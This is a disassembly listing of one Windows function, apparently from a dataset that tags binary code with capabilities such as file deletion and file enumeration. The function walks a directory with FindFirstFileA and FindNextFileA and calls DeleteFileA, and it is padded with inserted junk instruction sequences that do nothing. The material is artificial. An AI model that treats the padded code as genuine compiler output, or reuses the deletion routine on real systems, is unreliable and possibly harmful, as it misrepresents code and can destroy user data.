Function at 0x1000a5bc
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
mov eax, 0x10018208
call fcn.1000dc34
sub esp, 0x484
mov cl, byte [0x1001edfc]
push ebx
push esi
push edi
xor eax, eax
lea edi, [ebp - 0x3f]
mov byte [ebp - 0x40], cl
mov byte [ebp - 0x30], cl
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
lea edi, [ebp - 0x2f]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0x10], esp
push dword [ebp + 0xc]
xor ebx, ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 4], ebx
stosd dword es:[edi], eax
call fcn.1000ac75
cmp eax, ebx
pop ecx
je 0x1000a8ae
push dword [ebp + 8]
lea eax, [ebp - 0x350]
push eax
call fcn.1000e360
lea eax, [ebp - 0x18]
mov byte [ebp - 0x18], 0x5c
push eax
lea eax, [ebp - 0x350]
push eax
mov byte [ebp - 0x17], 0x2a
mov byte [ebp - 0x16], 0x2e
mov byte [ebp - 0x15], 0x2a
mov byte [ebp - 0x14], bl
call fcn.1000e370
add esp, 0x10
push edx
sbb edx, edx
sbb edx, esi
add edx, edx
mov edx, 0xe9e9e9e9
add edx, esp
pop edx
lea eax, [ebp - 0x490]
push eax
lea eax, [ebp - 0x350]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, dword [sym.imp.KERNEL32.dll_FindNextFileA]
lea ecx, [ebp - 0x490]
push ecx
push eax
mov dword [ebp - 0x20], eax
call edi
cmp eax, ebx
mov dword [ebp - 0x44], eax
jne 0x1000a67f
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push ebx
call fcn.1000dff7
push eax
lea eax, [ebp - 0x40]
push ebx
push eax
call fcn.100032cc
lea eax, [ebp - 0x40]
push 9
push eax
lea eax, [ebp - 0x30]
push eax
call fcn.1000e470
add esp, 0x1c
mov byte [ebp - 0x27], 0x77
mov byte [ebp - 0x26], 0x61
mov byte [ebp - 0x25], 0x76
push ebx
mov ebx, 0x56565656
mov ebx, 0x5b5b5b5b
nop
pop ebx
mov esi, 0x104
cmp dword [ebp - 0x44], ebx
je 0x1000a888
mov eax, dword [ebp + 0x14]
cmp dword [eax], ebx
jne 0x1000a888
call fcn.1000d7c4
cmp eax, 0xffffffff
jge 0x1000a6e5
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x490]
mov dword [ebp - 4], ebx
push eax
push dword [ebp - 0x20]
call edi
cmp eax, 1
mov dword [ebp - 0x44], eax
jne 0x1000a6c0
push esi
lea eax, [ebp - 0x148]
push ebx
push eax
mov byte [ebp - 0x12], 0x5c
mov byte [ebp - 0x11], bl
call fcn.1000d7f0
push esi
lea eax, [ebp - 0x24c]
push ebx
push eax
call fcn.1000d7f0
push dword [ebp + 8]
lea eax, [ebp - 0x148]
push eax
call fcn.1000e360
lea eax, [ebp - 0x12]
push eax
lea eax, [ebp - 0x148]
push eax
call fcn.1000e370
lea eax, [ebp - 0x464]
push eax
lea eax, [ebp - 0x148]
push eax
call fcn.1000e370
push eax
mov eax, 0xf9f9f9f9
mov eax, 0xfefefefe
add eax, eax
add eax, esp
pop eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x24c]
push eax
call fcn.1000e360
lea eax, [ebp - 0x12]
push eax
lea eax, [ebp - 0x24c]
push eax
call fcn.1000e370
add esp, 0x40
lea eax, [ebp - 0x464]
push eax
lea eax, [ebp - 0x24c]
push eax
call fcn.1000e370
pop ecx
pop ecx
push edx
sbb edx, edx
xor edx, edx
xor edx, edx
sbb edx, edx
xor edx, edx
xor edx, edx
sbb edx, edx
nop
pop edx
cmp byte [ebp + 0x18], bl
je 0x1000a7c9
push dword [ebp + 0x14]
lea eax, [ebp - 0x24c]
push eax
lea eax, [ebp - 0x148]
push eax
call fcn.1000a8bf
add esp, 0xc
jmp 0x1000a812
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x148]
push eax
call fcn.1000f260
pop ecx
test eax, eax
pop ecx
seta al
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x148]
push eax
call fcn.1000f260
pop ecx
test eax, eax
pop ecx
seta al
push eax
lea eax, [ebp - 0x24c]
push dword [ebp + 0x14]
push eax
lea eax, [ebp - 0x148]
push eax
call fcn.1000a2a1
add esp, 0x14
movzx eax, al
cmp eax, ebx
je 0x1000a6c0
cmp dword [ebp + 0x10], ebx
je 0x1000a6c0
push dword [ebp + 0x10]
lea eax, [ebp - 0x148]
push eax
call fcn.1000e570
pop ecx
push eax
lea eax, [ebp - 0x148]
push 1
push eax
call fcn.1000e71a
add esp, 0x10
lea eax, [ebp - 0x1a]
mov byte [ebp - 0x1a], 0xa
mov byte [ebp - 0x19], bl
push dword [ebp + 0x10]
push eax
call fcn.1000e570
pop ecx
push eax
lea eax, [ebp - 0x1a]
push 1
push eax
call fcn.1000e71a
push ecx
add ecx, edx
xor ecx, esp
add ecx, esi
add ecx, eax
xor ecx, edx
add ecx, esp
add ecx, esi
pop ecx
push dword [ebp + 0x10]
call fcn.1000ea82
add esp, 0x14
jmp 0x1000a6c0
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_FindClose]
push 1
pop eax
jmp 0x1000a8b0
xor eax, eax
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret